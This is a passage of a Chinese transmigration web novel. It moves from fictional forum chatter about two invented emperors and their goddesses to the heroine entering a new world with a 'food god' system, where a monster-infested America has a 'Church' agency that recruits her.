“我们直女不懂这些弯弯绕绕的,谢谢姐妹科普”
“嗐,没事儿,我懂,直女嘛,我们女人哪像男的心眼又小心又脏”
“我就说男人不可能懂历史,也就会拾人牙慧”
39.番外:后世2(史同预警,不能接受的别看这章)
评论区的发言逐渐走歪,好在帖主还在,她很快发言把走向掰回来:
【咳咳,诸位姊妹,偏题了偏题了,看看帖子名字啊】
“噢抱歉”
“搞错了,让我们重新回到巫山神女与大周(萌萌jpg.)”
诸位姊妹用一秒钟的时间把话题拨回原位。
“总之啊,不管巫山神女是神仙还是穿越者还是外星人,我个人对她是很有好感的”
“从她干的事来看,怎么都是一个善神”
“而且和恒娥仙君相比起来,这位巫山神女可亲民多了,不像那位,百年来出场的次数手指头都数得过来(苦笑jpg.)”
“楼上这话一出,一下子至少刺激两个人啊(偷笑jpg.)”
“是哪两个人,好难猜啊(偷笑jpg.)”
“姬荣陛下&姬婋陛下:闷闷不乐jpg.”
“不不不,以姬婋陛下的风格不得是超极加倍版闷闷不乐(狗头jpg.)”
“笑死我了,是谁喝闷酒对月质问‘吾祭上神久,何不愿一现?’,我的天呐那满满的幽怨味儿”
“姬婋陛下不是还愱忮她老母亲和巫山神女的相处模式吗(捂脸笑jpg.)她还去拉着姬荣陛下让母亲找巫山神女问问为何恒娥仙君不愿下凡见她,哪怕是在梦里”
“咳咳,我记得史书原文是‘命令恒娥仙君入她梦中’来着”
“该说不愧是姬婋陛下吗……这么勇,面对神明也敢下命令”
“勇也没用啊(笑暴富了jpg.)别说见不到巫山神女,人家恒娥仙君更是鸟都不鸟她”
“我知道我知道,然后姬婋陛下又又又生气了”
“于是彼时还是太子的姬婋陛下又又又领兵打仗去了(惊叹jpg.)”
“姬婋,一款仗着神女庇护,每逢见不到恒娥仙君就去揍周边国家的暴力太子”
“这样一比她当皇帝后确实稳重多了哈,至少没动不动御驾亲征”
“前面的,有没有可能是姮娥出面警告她了”
“我记得史书记载是姮娥仙子说她再胡闹就换个祭司来着(目移jpg.)”
“姬婋:谁懂啊家人们,女神出面第一件事居然是要换掉我(委屈巴巴jpg.)”
“女神……你,我,哎”
“你就说是不是女神吧(滑稽jpg.)”
“好像没错又好像不对。。。(捂脸jpg.)”
“姬婋:愤怒的野猪;恒娥:拉住野猪的缰绳”
“哈哈哈哈哈发出今天的第一声爆笑,谁准你这么比喻了,怎么可以把我们姬婋陛下比喻成野猪”
“咳咳,那不然你挑一个:愤怒的野猪,风中不被定义的恶犬,脱缰的野牛”
“哈哈哈哈,那姬荣陛下和巫山神女是什么?”
“我知道我知道,老奸巨猾&诡计多端”
“笑得我,姬婋还找她妈帮忙要见恒娥呢,姬荣自己都见不到巫山神女”
“姬荣每天:上朝—批奏折—召见大臣—想巫山神女今天会不会回来”
“姬荣:儿啊,你以为妈妈不想帮你吗?妈妈自己都见不到神女啊!”
“两个苦瓜皇帝”
“说实话我一时间分不清她俩谁更惨一点……”
“楼上的醒醒,按史料记载她们至少真见过神仙,你在可怜她们什么?”
“哎呀我知道啦,我也知道我要是回去那个时代只是普通百姓,现在只是幻想时刻,幻想,懂吗”
“我很坚定的站在人民立场上的,真代入百姓视角没一个统治者是无辜的”
“好了好了,大家不要那么严肃,这个帖其实本身更偏欢乐向一点”
“那就,还是脱缰的愤怒野猪(一本正经jpg.)我支持姬婋是脱缰的愤怒野猪”
“好家伙,怎么还融在一起了”
“单从神女这件事上看,她俩都惨惨的,姬婋不必说,祭祀多年也难换得神明回眸”
“姬荣的话……这段缘分是承先祖恩惠,相处中满是算计,金碧辉煌的皇宫是困住皇帝的牢笼,但困不住神女这缕来去自由的风,最后的最后也是聚少离多,也许到了最后,想起她就是想起自由”
“哎嘛楼上你好文艺,这算以姬荣陛下视角写的梦女文吗……”
“(警觉jpg.)梦什么?梦cb还是……”
“我说你们史同够了(熊猫闭眼jpg.)”
“但素很香啊(猛虎卖萌jpg.)我们史同不管cb还是别的吃的其实都很好”
“太过分了,怎么可以这样编排祖先?到底在哪里?人性在哪里?链接在哪里?”
“够了(那种语气——”
“其实单看史书也很精彩(小声)感觉好多史料比同人精彩多了”
“这个是真的这个喷不了”
“这个是真的这个喷不了”
“谁还记得神女给襄州赈灾使那朵花被姬荣‘抢’去摆在桌案上了?这可是正史内容”
“那很精彩了”
“这就是姬荣陛下死的时候神女给她彼岸花的原因吗(突然发现jpg.)”
“楼上我去厨房给你拿点吃的(凶狠jpg.)”
“你……你干嘛……
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一个爱搞史同的大女人轻轻碎了”
“虽然知道历史上记载姬荣陛下驾崩的时候‘手持归墟幽冥之花,花色赤红,有花无叶,有叶无花,名曰彼岸’,但每次这么一想还是很难受……”
“陛下的彼岸又是什么呢”
“是她生死与共的臣子,血脉相连的女儿,还有大周的繁荣昌盛吧,而神女,是头顶亘古长存的青天。”
“又来了,那种感觉又来了,很难受,但说不上哪里难受(哭泣jpg.)”
“感觉不是he也不是be,就是……这是命运,是既定的、她们能有的最好结局”
“那单论神明与帝王,姬婋陛下岂不是更那啥吗……巫山神女好歹还和姬荣陛下相处了那么久呢,恒娥仙君和姬婋陛下的相处时长加起来有一小时吗?”
“是永远高悬于天、触摸不到的月亮”
“我记得不是有人打过比方,姬婋陛下是一生都在踮脚摘月亮的人”
“但是她连摸都没摸到……”
“小嘴巴(警告jpg.)”
“但是她是恒娥仙君钦定的祭司哎,唯一由神明选择的祭司”
“姬婋把自己的一生献给了两样东西,一个是大周,一个是恒娥”
“甚至有没有可能,这两个是混在一起的,每天努力建设大周是为了让恒娥多看她一眼,而恒娥真的看她之后她又要让恒娥帮她发展大周……”
“永动机(bushi)”
“姬荣陛下一生的挚爱有三:女儿,大周,巫山神女”
“姬婋陛下一生的挚爱有三:母亲,大周,恒娥仙君”
“不知道是幸运还是不幸,两个有幸得见真仙、距离仙人最近的,反被困住了一生”
“得到什么就要承受相应的代价吧,史书不是记载神女来到大周是因为因果早已种下,因果线牵引捆绑,她必然会来大周”
“那么见面那一刻她们几个之间也就注定被因果线捆绑”
“姬婋:(往月亮上缠因果线)捆紧点”
“发出一声爆笑”
“我宣布,这件事里唯一没受伤只得利的是大周”
“那很正确了”
“那特别好了”
“看到没姐妹们,无欲则刚啊”
“不管(不听不听jpg.)冷漠女人现实中本人自会成为,上网了我就是放飞自我二狗子”
“不管了我要去写我的史同文了,感谢评论区诸位姊妹送来的灵感”
“写完踢我”
“写完踢我”
“写完踢我+1”
“+1000006”
40.序章:餐桌礼仪
大周的宫殿高大华丽,有很多时刻,它显得无比空旷,简直空旷到荒凉的程度。
而在那巍峨的建筑下,姒昭的身影更显孤寂。
百年时光里系统有时候会升起某种不知缘由的恐惧,她看着姒昭的精神力覆盖范围越来越广,可以将其用在战场上探测监控敌人的位置动向,检索哪里有矿石……
她看着姒昭得到的奖励、抽到的服装越来越多,多到甚至可以用衣服特性来武装军队、定位谁在哪里……
时间在流逝,而伪装成神的人,越来越像一个真正的神。
系统很害怕她在某一天失去人性,变得不再是她。
姒昭似乎也察觉到了她的这份恐惧。
在姒昭看来,系统的担忧不无道理。
任谁被捧上神坛、脱离群众久了,都很容易在不知不觉中就走上了腐败的道路。
看看现在的大周,想想自己火力洗地的美好愿景,她怎么能容忍自己堕落啊!
所以她并很少留在皇宫,很少把自己放在远离众人的神坛之上,而是改换妆造,去看人间真实的模样,去做一切能做的事。
只是在朝中那些熟悉面孔离去时,她会有一瞬间的怔然。
到后来朝中熟悉的人越来越少,她也就不再心血来潮跟她们一起上朝去坐一坐那把龙椅了。
到了最后,姒昭选择在姬婋死去、葬礼结束后直接离开。
和对待姬荣一样,她也给了姬婋一场临死前的美梦,也在葬礼上给出了壮观的异象。
算是收尾吧。
“宿主,我们现在就走吗?”
系统望着她,在一片令人窒息的静默里开口。
姒昭回头,最后看了一眼这个世界,决绝地收回目光:“走吧。”
去下一个世界。
【叮】
【宿主脱离世界中……】
【新世界载入中……】
【检测到██旧███宿主██,检测到██系统███,检测到████冲破██】
【正在为宿主筛选███】
未知之地,无数冰蓝色的数据流自女人眼中滑过,她平静的面容上忽而闪过一丝诧异。
她看到有一处“异常”混杂其中。
就像平静无波的水面上跃出一条鱼,或者落下一颗石子。
女人的眼中显出一抹异色,唇角露出一丝笑意:
“新生的███吗……”
“希望你能走到这里”
隔着万千世界,有人在未知处给予祝福。
*
姒昭做好了前往新世界的准备,但没想到,事情的发展和她想的不太一样。
先是失去意识陷入沉睡,也许过了一瞬,也许过了很久,她睁开眼,看见世界是一片漆黑。
但黑暗只持续了极短暂的时间,她很快有了降落到实处的感觉,然而情况并未好转。
姒昭睁开眼,发现自己坐在餐桌前,手边放着餐具,面前的碗里却空无一物。
餐桌,餐具,那碗里的食物呢?
她抬头,四周空荡荡。
没有给她弄清楚发生了什么的时间,强烈的眩晕感袭来,姒昭根本来不及反应,只能无力地顺从突然变幻的环境。
眨眼间她从坐着变成了躺着,清脆的金属碰撞声在耳边响起,宛若惊雷。
她迅速起身,打量着周边的环境,讶异地发觉……自己,在碗里?
她变小了?还是周围的东西变大了?
来不及思考更多,不好的预感久久不散,姒昭本能地想要拜托目前的困境,至少离开这个碗。
碗里会盛什么?
当然是食物。
直觉拉响了警报器,不管猜测是否正确,她得逃。
然而很遗憾,不好的预感成真了,而她没有逃离的机会。
阴影投下,巨大的、看不清面容的巨人坐在了餐桌前,她要享用面前的美味了。
吞咽口水的声音在耳畔响起,姒昭抬头,看见巨人拿起了餐具。
与此同时,未知的束缚将她困在原地。
她动不了了。
危机时刻,姒昭瞳孔巨震:“系统!”
可是从她陷入危机起,系统就没有响应过她。
这一秒当然也没有。
不可能!不应该!
系统是隶属时空管理局这种正规部门的员工,她们的交易合同是在世界意识注视下订立的,绝对不可能出现这种恶意抹除宿主的事件。
如果不是正规部门,世界意识不可能放任她们穿梭时空进行任务。
所以,眼下的情况究竟是怎么回事?!
眼看着餐具就要碰到自己,姒昭剧烈地挣扎着,试图挣脱看不见的绳索。
她活着,不是为了给别人或者别的什么东西当食物的!
哪怕真的沦落到这种屠杀游戏里,她也一定会挣扎到最后一刻、做猎食者而非食物!
愤怒在她眼里燃烧,随之而来是阵阵饥饿感。
最初是微弱的,尚可忍受的。
但某种奇异的想法出现在姒昭脑海里:
为什么要忍耐?
凭什么要忍耐?
她看着那个看不清面孔、甚至不确定是否是人类的“巨人”,心里竟然没有半分恐惧。
她的恐惧被愤怒灼烧了。
而这一秒,饥饿是愤怒的燃料。
她看着坐在餐桌前的“她”,胃部开始痉挛。
时间的流逝在这片空间里似乎失去了意义,不知为何,最初锁定她为目标的巨人不知何时将餐具调转向其它餐盘。
姒昭该趁着这一秒逃走的。
可是……
咕咚
这次吞咽口水的是她自己。
好饿啊。
为什么那么饿啊。
饿了就该吃饭啊,忍耐是没有必要的事。
饥饿感越发强烈,姒昭看着居然,她好想……吃了“她”。
吃掉“她”。
坚定的,连绵不断的声音在脑海里回响。
恍惚间场景再度变化,星河倒映在姒昭眼底,她看见一望无际的荒野,看见苍茫的星空,看见无数包裹着兽皮或直接赤裸着身体的人在奔跑追逐。
她们举着火把,举着矛或者刀,用石子去扔,甚至赤手空拳。
但是她们在不停歇地奔跑追逐。
姒昭看见她们追逐巨兽,蚂蚁一样渺小的人类用尽各种方法去捕捉这只兽,直到兽倒地,被人放干血,吃尽肉,连骨头也不放过。
她看见人类举着火炬一路来到神山脚下,她们攀登到顶峰,站在神明的对面,告诉神生而为人可以走多远,攀多高,甚至——弑神。
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神的统治让她们饥饿,那么她们只好以神明的血肉充饥。
她看到她们在时间的长河里一直走一直走,累了就休息,饿了就吃掉一切可以吃的东西。
最终,她们走到【这里】。
并且将继续前行。
不知道这一切是否是一个幻境,但是姒昭又看见了那个高大的、巨人一样的身影。
咕——
肚子代替她打了个招呼。
姒昭看着巨人:我好饿啊,可以吃掉你吗?
那身影握着餐具的“手”一顿。
形势逆转。
又是熟悉的场景变幻,这一次,姒昭的心并不慌乱。
她再次睁开眼,果然,这一次,坐在餐桌前、手持餐具的是她。
熟悉的提示音也随之响起:
【叮——】
【恭喜宿主完美通关本次教学内容:餐桌礼仪】
【成为食客,亦或成为食物,由你主宰】
【……也,随时变化】
【这是最基础的餐桌礼仪,望您铭记】
【系统加载中……】
【系统模块更新中……】
【叮——】
【欢迎来到新世界,换装模块已下线,食神模块已上线】
【祝您,旅途愉快】
姒昭神情冰冷:“等等,我有问题”
开什么玩笑,搞这么一出,她准这个破系统走了吗?
在大周做任务的时候她就发现了,发布任务、结算任务、给予评判和奖励的,跟平时和她聊天那个傻系统完全不一样。
那个时候她以为只是死板的自动功能,没想到啊,差点被这东西搞死。
她冷漠发问:
“你是什么?你们和我签订合同时明明保证过绝对不会有危及任务者生命的情况,必要时刻可选择放弃任务,刚刚那是怎么回事?”
空气静默了一瞬,随即那阵温和的女声再次响起:
“如您所想,我是您的系统3437的附属模块,负责自动发布、结算、评判任务”
姒昭皱了皱眉,老是统统统统的叫,差点忘了系统的编号是3437。
“请您放心,我是完完全全不具备自我思想、不会自主思考、不会诞生情感的人工智能,相当于电子管家,一切举动都是出于程序设定”
“刚才的情况完全是因为您的举动触发了程序,且全程无实质危险,无论您做出何种选择都不会受伤或死亡,因此并无违背合同之处”
姒昭的眉头还没松开就又皱起来了,她的举动?她的什么举动会出发这种鬼玩意?
刚才的情况没危险?意思是那其实只是个幻境之类的东西?她老老实实躺着不动也不会怎样?
这么想着她也这么问了,并且得到了电子管家的肯定回复:不会有危险。
昂——
只是不会有危险……
她可没忘记出来时小管家给出的播报里有评价性词语:完美通关。
她是“完美通关本次教学内容”,偏偏这个教学内容的名字还叫【餐桌礼仪】。
再看看卸下换装模块后装载的新模块:食神模块。
说没关系,谁信啊。
就是不知道,这个食神模块具体怎么操作,新世界又是什么样的世界。
这么一想,居然有点期待。
41.菜谱
昏黄的路灯下,风裹着寒意在街道上穿行,三三两两的行人裹紧大衣往家里赶。
杰克拢了拢衣领,同时将那沾着污渍、泛着油光的领子竖起来抵御寒风。
圣诞节快到了,大多数人都忙着回家跟家人团聚,享用丰盛的圣诞晚餐。可惜,这个世界上永远有穷困潦倒、孤苦伶仃的倒霉蛋。
比如自己,杰克哀怨的想。
他只觉得自己是世界上第一可怜、第一无辜的人。
天呐,他的母亲怎么可以如此残忍的抛弃他,他喜欢的女孩为什么不愿意看他一眼?
虽然他不管明面上就沾染了叶子烟酒赌|博等种种恶习,可是她们也不该就这样把他赶出大门啊!
看了看天气,毫无疑问,这段时间都会很冷,那么他只能去“贫民窟”——其她人这么称呼这个地方——跟那些老乞丐抢纸箱子御寒。
虽然被恶习掏空了身体,但他仗着年轻力壮,成功抢到了一个可容纳自身的箱子。
可是现在杰克不想住纸箱子了。
他最终还是决定,回到母亲温暖的房子里,顺便从那里拿一点钱。
——反正那是他母亲啊。
这么一想,杰克的心情奇妙的变好了,他一下子觉得自己做的所有事情都变得正义且天经地义起来,这条路偏僻昏暗,他却哼起了轻快的小调。
迎面走来一个裹得严严实实的女人,他甚至有心情对着那人吹了声流氓哨,轻佻地道:
“嘿!小妞儿,圣诞快乐啊,你要不要跟我回家一起庆祝主的诞生——”
尾调托的格外长,充满不尊重和让人恶心的恶意。
事实上他经常做这样的事:出于戏谑心理跟踪女生走一段路,看她们因恐惧而加快脚步;对着路过的女性吹流氓哨,运气好的话能得到一个白眼。
事实上他如今已经因为社会环境的变化收敛了许多,否则他会做更过分的事。
然而杰克看到那女孩在与他擦肩而过时并未因此生气,而是对他露出了一个灿烂的笑:
“圣诞快乐。”
见鬼,她的声音里居然还透着愉悦的气息。
下一秒,一个枪口顶住了他的后脑勺,接踵而至的是女孩那依旧充斥着快乐的声音:
“不许动!”
啊?
杰克懵在原地,两秒过后才打了个激灵。
那女孩懒洋洋的声音响起:“把你的钱包交出来。”
这是遇上抢劫了?
这个想法后知后觉的在他脑子里炸开。
但仔细想想,在阿美利卡这个自由开放的国度,在叠满了夜晚、小巷、人少这几重buff后,遇到这种事,好像,也不是太奇怪?
杰克向来是个欺软怕硬窝里横的软骨头,更何况现在对面有枪,他立马举起双手示意自己无害:“别杀我!钱包在左边的口袋里!”
姒昭很无语的翻了个白眼,保持着拿打火机顶着对方后脑勺的姿势道:
“我让你自己拿出来。”
嗯……没错,抵着杰克脑袋的只是一个平平无奇的打火机——甚至是姒昭从大马路上捡的、没油了,连火都打不着的。
开玩笑,她可是守法公民,怎么可能搞得到枪这种危险物品?
再说了,打火机怎么了?只要利用的好,比如现在,谁敢拿自己的脑袋试试抵着的到底是不是真枪?
反正杰克不敢试。
因此,他一脸菜色的从口袋里掏出了钱包:“给您。”
其实包里没钱,不然他不至于回去骚扰老母亲。哎,只希望身后的人大发慈悲,不要因为没钱而一怒之下给他一枪子。
但是还是那句话,姒昭是坚定的五好青年,守法公民,怎么可能强抢别人钱包呢?
因此,她命令道:
“把它吃了。”
杰克怀疑自己疯了。
不然就是身后这女人疯了。
该死,这女的不会脑子有问题吧?或者……她抽叶子了?
想到这个可能,他脸一黑。那还不如是个神经病呢。
他心思千回百转,姒昭可懒得管他想了什么:
“喂,快点,把钱包吃了。”
抵在后脑勺上的东西发力,姒昭表示大冷天的能不能早点干完活早点收工。
吃了……怪人,他才不会真吃。
这么想着,杰克一边求饶请对方冷静,一边假意把那钱包放进嘴巴里,想着大不了做个样子。
然而下一秒,异变突生。
本来平平无奇的钱包忽然发出尖锐的叫声,它开始变形,扭曲,从皮革材质变得柔软,像一坨尖叫的肉,在昏暗的路灯下显得荒谬又惊悚。
杰克很难形容那是种什么感觉,一个死物突然变成了活物,在你嘴巴里尖叫。
或者说他根本没来得及反应,只是凭借本能地伸出手扣嗓子眼儿,想要把那东西拿出来。
与此同时,他也本能地意识到自己撞鬼了。
他撞上了那些政府文件里说的“异常生物”。
很难去说异常生物出现的具体时间,只是当人类发现它们存在的时候已经来不及了。
它们就在你身边,没有预兆的出现,可能毫无理由地吞吃、攻击你,可能只是经过,然后你就被污染,成为失去理智的、必死无疑的怪物,也可能潜伏在你身边,等着某个瞬间美美饱餐一顿。
潜伏在身边——杰克猛然意识到自己的死亡或许是必然的,即使没有今晚这一出,这个“钱包”也不会放过他。
该死!
他不由的在心底破口大骂。
该死该死该死!为什么会发生这种事情!为什么是他!
教会里那些拿着税收的骑士女巫是吃干饭的吗!为什么处理不好这些怪物!
他面目狰狞,表情扭曲,大张着嘴伸手去扣嘴巴里不停歇尖叫的生物。可惜那东西融化的躯体柔软且可变形,它将自己塑成了触手状的软体生物,一部分向杰克的眼珠爬去,直到深深扎入其中,一部分则往喉管深处去,从内部将其杀死。
姒昭淡定的站在一边看这场没有硝烟的争斗,这次轮到她对杰克吹口哨了:
“好可惜,如果你没有冒犯我,其实原本我会考虑救你的。”
系统:“你能救?”
姒昭:“不知道,我的中二之魂还没有熄灭,先过个嘴瘾。”
作为一个能接受快穿任务、遇到攻略任务先扮演神明的任务者,体内必然燃烧着中二的气息——看看她演的那么好、面对皇帝的恭维都能保持淡定就知道了。
“不过吧,”姒昭摸摸下巴,“我个人认为,我也许是真的能救他。”
说着,她翻开手中的笔记本,嗯,其实按照系统给出的称呼,它其实是【菜谱】。
地上躺着的人逐渐没了声息,鼻涕虫一样黏糊糊的钱包轻手轻脚的想要逃跑,却被一只手拎着从杰克口中脱离。
其实这只小怪物也不是不能钻进杰克身体里躲起来,可是,它不敢。
此时的怪物完全没了刚才和杰克对打时的生龙活虎,整只怪蔫了吧唧的任由姒昭拿捏,一幅没精打采的样子。
原因嘛:
姒昭翻开菜谱第一页:【食材:格努瓦斯之触】
【恭喜你添加第一节食材,激活食神系统被动天赋技能:食客】
【食客:食客对食材、食物有天生的威慑力】
【恭喜你迈出走向世界的第一步,请继续努力】
而将时间再往前拨动,姒昭在新世界激活食神系统后的
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第一个天赋技能其实是:
【食神(初生):恭喜您激活食神系统,恭喜完成教学内容“餐桌礼仪”,已为您自动选择最适合您的路线】
【天赋技能“觅食”已激活,请寻找你的食物】
然而姒昭走在路上,看谁都像食物,看谁都想上去啃一口。
她也不太明白这个食神系统到底是怎么回事,怎么就给她选择最适合的道路了?她最适合的道路是什么啊?
看着在【觅食】影响下满大街散发着食物光辉的生物,她不禁脑袋上冒问号:
难道她最适合的道路就是变成丧尸吗?
直到看到杰克——他身上有两种食物的气息。
其中一种属于这个世界的“异常生物”。
看过这个世界背景资料的姒昭知道这玩意。
简单来讲,这个世界人类这边灵气复苏,修炼的、成精的、吸血鬼、魔法师、女巫等都出来了;
但是不巧,异常生物也出来了,且伴随着异常生物的出现,这个世界的灵气逐渐变得浑浊稀少,以至于人类精怪等非异常生物修行缓慢,因此,人类称呼那些会污染灵气及人类的东西为诡异、域外邪魔。
姒昭初来乍到,对本土的事情不太清楚,唯一清楚的是她真的是守法好公民,不可能为了任务去生啃同胞当食人魔。
于是乎她灵机一动,把人类及精怪们的敌人异常生物添加到【菜谱】上了。
嗯,就是打劫杰克的那一秒。
杰克刚好把东西放嘴里,她刚好添加好食材,于是天赋技能【食客】被激活,“钱包”开始尖叫。
什么?你问为什么要让杰克放嘴里?拜托,当然是试试看【食材】到底能不能吃啊。
再说了,这家伙嘴那么臭,他活该的。
看目前的情况,菜谱很智能,她压根不知道“钱包”的学名是格努瓦斯之触,感谢菜谱帮她标出来。
菜谱:......习惯了,现在的年轻人都这样,连小葱大蒜都分不清。
看着手上变化成海葵状的格努瓦斯之触,姒昭的表情很嫌弃:真能吃?菜谱把它定义为食材了,但杰克还是死了,所以是只有【食客】能吃?
不清楚,不知道。
寒风凛冽,姒昭最终决定先找个住的地方渡过来到新世界的第一夜。
说起这个她就想骂系统:“你怎么给我扔这鸟不拉屎的地方来了?你们都不给员工找个住处、整个身份证的吗?我现在住哪儿?在外面冻死?”
系统沉默,系统不敢吱声。
“但是,我们在上一个世界其实也没身份没住处没户籍。”
系统弱弱辩白。
所以这其实是常规操作。
身为宿主,怎么可以连这种事情都解决不了?
按系统的思路,上个世界就该在系统帮助下“偶遇”出宫微服私访的皇帝然后用美貌惊艳对方,直接被带回宫里。
然而姒昭赊账买了套装【林野踪】并在其辅助下当了神明,系统计划卒。
这个世界系统的思路是找个店吃饭,然后大喊一声把你们厨师/经理叫来,当着她们的面在食神系统辅助下说出菜的优缺点、火候原料等,再提出改进方式,以龙傲天的格调被该店奉为座上宾。
系统当时还信心满满,觉得自己的计划既契合宿主的中二之魂,又完美利用食神系统,然而姒昭捡个打火机就去打劫了。
打火机还是没油的。
宿主下一秒往菜谱上添加的东西看起来还完全不能吃。
看起来很不靠谱,但经历了上个世界的系统相信自己的宿主绝对靠谱。
所以系统表示:“宿主,我听你的。”
姒昭抓着格努瓦斯之触:“那没办法,目前只有一个方案了。”
42.第 42 章
阿美利卡南部,青葱山林之间隐藏着许多尚未在地图上显示的宏伟建筑,不时能听到其间机器引擎的轰鸣。
这里原本是该国重要的军事基地之一,在灵气复苏之后被改为了国土战略防御攻击与后勤保障部,简称教会。
专门管理与异常生物有关的一切,当然,也包括管理超能力者。
——由于文化风俗的不同,世界各国对灵气复苏后本土觉醒异于常人天赋者的称呼各不相同,大家也能从称呼中窥见各地超能力者的不同。
比如,遥远华国的是修士,也称修仙者、修行者,纵使其中又有不同流派,但殊途同归,大体都是往“修仙”这条路上走。
欧罗巴州及阿美利卡的超能力者们则大致为女巫、吸血鬼、骑士、天使、牧师等,非常典型的西幻流。
此刻,基地深处,透着冰冷精密现代机械气息的会议室内一片寂静。
静谧中,会议室正前方的大屏幕反射着冷调的光,众人聚精会神地看着实时监控录像画面。
画面中的女孩黑发黑眼,有着典型的东方面孔。
“东方人……”
监控背后,有人喃喃道:“她会是一名修士吗?”
实时录像中,姒昭仰头看了一眼监控,平静无波的眼神似乎穿越空间与屏幕后的人对视,随即收回目光,将手上抓着的难以形容其形状的异常生物放到面前的桌子上,遵循耳麦里传来的指示退出这间屋子。
于是屋子里只剩下那张金属材质的桌子,以及被留在桌子上的一坨“肉”。
但是会议室里的人都很清楚这东西是有害的、无比危险的异常生物。
想起半小时前传来的情报,她们不约而同地屏住呼吸,聚精会神的看着被分割成无数块的大屏幕。
几乎是在姒昭离开那间屋子的瞬间,桌子上的异常生物开始恢复活力。
它那不成模样的躯体逐步舒展开,与死去的杰克搏斗时伸展出的触须慢慢收缩,然后全身都开始颤抖,像沸水一样沸腾起来。
屏幕上从多个角度同时拍摄的画面让她们可以清晰的看到,负责承载这只异常生物的那部分桌面正逐渐被腐蚀。
此刻的异常生物全然没有姒昭在时的安静温顺,浑身上下充满了攻击性。
“oh my god......”
会议室里,艾米莉忍不住出声:“可是那具男尸身上根本没有被腐蚀的痕迹,那个女孩甚至可以徒手抓握它……这到底是怎么回事?”
“这正是我们将她带到此地的原因。”
娜拉回答道。
她眯眼看着大屏幕上的画面,打量着那只形变的异种、右上角中央计算器不断进行的数据分析,心知那个黑发女孩对她们来说的重要性。
她简直是完美的、对抗异种的工具。
娜拉在心中感叹。
真不敢想象,如果这个女孩没有主动拨打治安局的电话、治安局没有主动联络教会,或者她们没有看小巷里的那段监控录像,会错过多么珍贵的宝贝。
还好,一切都在教会的掌控之下。
忽然
“滋——滋滋——砰!”
摄像头全部报废,屏幕陷入了黑暗。
姒昭靠墙站立,手指轻轻点了下耳麦,毫不意外地听到里面传来急切的指示:
“回到刚才的房间控制住那只异种!快!不要让它逃跑!”
她打开门,迈进门内。
真是冷血啊。
如果她能成功控制住异种,建造这些设备的投入甚至外面负责守卫的士兵在这个过程中受到伤害也无所谓;
如果她失败,就直接死在这里,死在异种手里。
她们不做任何措施,不防备异种的攻击和逃跑,出事第一秒不找专业人士处理而是让她返回,是这样想的吧?
*
“你好,姒昭”
依旧是冷调的装修风格,艾米莉在姒昭面前的沙发上坐下,以温和的语调标准念出她的名字。
在看到她的第一眼,姒昭就知道为什么教会会派她来。
艾米莉拥有漂亮的红发和天蓝色的眼睛,年龄约莫二十七八,当她这样平静的注视着你时,你会不自觉放松警惕,对其生出亲近之意。
而在仅姒昭一人可见的系统界面里,大大的提示字体正悬浮在面前:
【警告,食客正在遭受精神攻击,请食客不要被食物所迷惑】
姒昭:......都说了人类不是食物,她不是食人魔。这个食神系统也太凶残了点吧?
不过好奇怪啊,她把异常生物添加为食材后,遇见的大多数人类在系统面板上都是绿名非食材,但为什么面前这位……
艾米莉不知道姒昭在想什么,见她一直盯着自己,还以为是异能逸散出的魅惑效果起了作用,增加了亲和力。
“我是艾米莉,来自教会。”
姒昭看着她在系统面板上顶着介于食材与非食材之间的黄名,眼睛一眨不眨:
“教会?”
艾米莉笑容友好:
“是的,你应该知道,教会是清理一切对祖国有害的存在、维护国家安全、保卫民众的伟大存在。它守卫一切,也包容一切,包括刚觉醒对自身感到迷茫恐惧的异能者。”
姒昭听出了她话里的意味:
“也包括我?”
艾米莉回答:“正常情况下,是的。”
“但问题是,根据我们的调查,你似乎并不是阿美利卡公民——请相信,我们不会侵犯公民的隐私,这只是合理的调取资料”
“在资料库里,我们没有找到你的信息”
“对此,你有什么想解释的吗?姒昭小姐?”
姒昭:......她说什么来着?她就跟系统说什么来着?!早说了这种不给安排身份的做法会引来很多麻烦的!
难道主神觉得一个没有任何信息记载的人出现在这种科技位面很合理吗?
系统:不敢吱声。
不过,日子再艰难还是要过下去,情况再危急还是要解决的,因此,姒昭朝对面露出一个礼貌但没有温度的笑容:
“我不能告诉你们”
艾米莉的表情有一瞬间的僵硬,但姒昭没有给她说话的机会:
“很抱歉,但请相信我没有恶意,关于我的来历,你们可以去查,我不会干涉,但是我不能亲口告诉你们。”
*
毫不意外的,这场谈话同样是一场被人监听的谈话。
“啊,搞什么啊?她的来历难道见不得人?以她所掌握的能力来看,就算是偷渡者的身份也不会对她造成什么影响啊”
乔伊很不满地抱怨。
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只是说明来历都不敢吗?她到底懂不懂,和她谈话的可是教会高层人员,这就足以说明她的重要性了。
事实上,并不是每一个异能者都能得到这份特殊的待遇。
教会会接纳她们没错,但若是太多弱小、能力太过无用,最多只能在教会挂个名,配合关于超能力者的实验,接受管理。
只有有潜力、足够有用的异能者才能被真正接纳。
照目前的情况来看,姒昭只要不是背叛阿美利卡,来历又算得上什么污点呢?
娜拉听着通讯器里的谈话声,眉头微微皱起:“奇怪,我怎么觉得,她不像是因为不敢或视其为污点才不说的?”
有一瞬间娜拉有种错觉,这个女孩是异种的同类,与异种来自同一个地方。
甚至她脑海里冒出一个诡异的念头:能压制异种的,是异种的王。
“......娜拉,娜拉?”
“你怎么突然走神了?”
阿丽斯的声音将她唤醒,娜拉如梦初醒:
“怎么了?”
阿丽斯道:“艾米莉和那女孩的谈话结束了,我们该去见见她、顺便计划一下之后的训练和任务。”
乔伊抱着手臂,满脸不情愿:
“但是话说,就这么让她加入、然后一起去执行任务吗?”
“这可是加入教会哎,而且她来历不明胆子小不说真话。”
阿丽斯睨了他一眼:“那不然呢?”
“加入教会的流程不就这样吗?有用、符合标准就加入,不行就挂个名。”
教会高层人少从来不是因为标准严格,而是有用的异能者稀少。
某些觉醒的吸血鬼喝鸭血都得学华国人把那鸭血涮涮,瞬移五十厘米都脸色惨白,更别提像电影里那样异化成蝙蝠大王召唤蝙蝠了。
指望这种异能者去杀异种,怕是连异种的皮都咬不破。
“更何况,”阿丽斯看着监控道:“有了她的加入,以后的任务会省多少麻烦,你不清楚吗?”
其她的,盯着点儿就好,不怕她干出什么对教会不利的事。
乔伊撇撇嘴,不再开口。
*
对于艾米莉等人来说,她们收获了强有力的队友。
对于姒昭来说,有住处,有饭吃,很好,很满足。
真是难为她了,这次居然还要自己找吃的,这种时候就会格外想念上个世界一日三餐的奖励。
感谢教会送来的住所,遇事不决拨打治安局电话果然是对的。
最开始接到电话到达现场、发觉事情不对后通知教会、现在充当司机送姒昭回家的治安官:
其实看到异种那一秒差点开枪了。
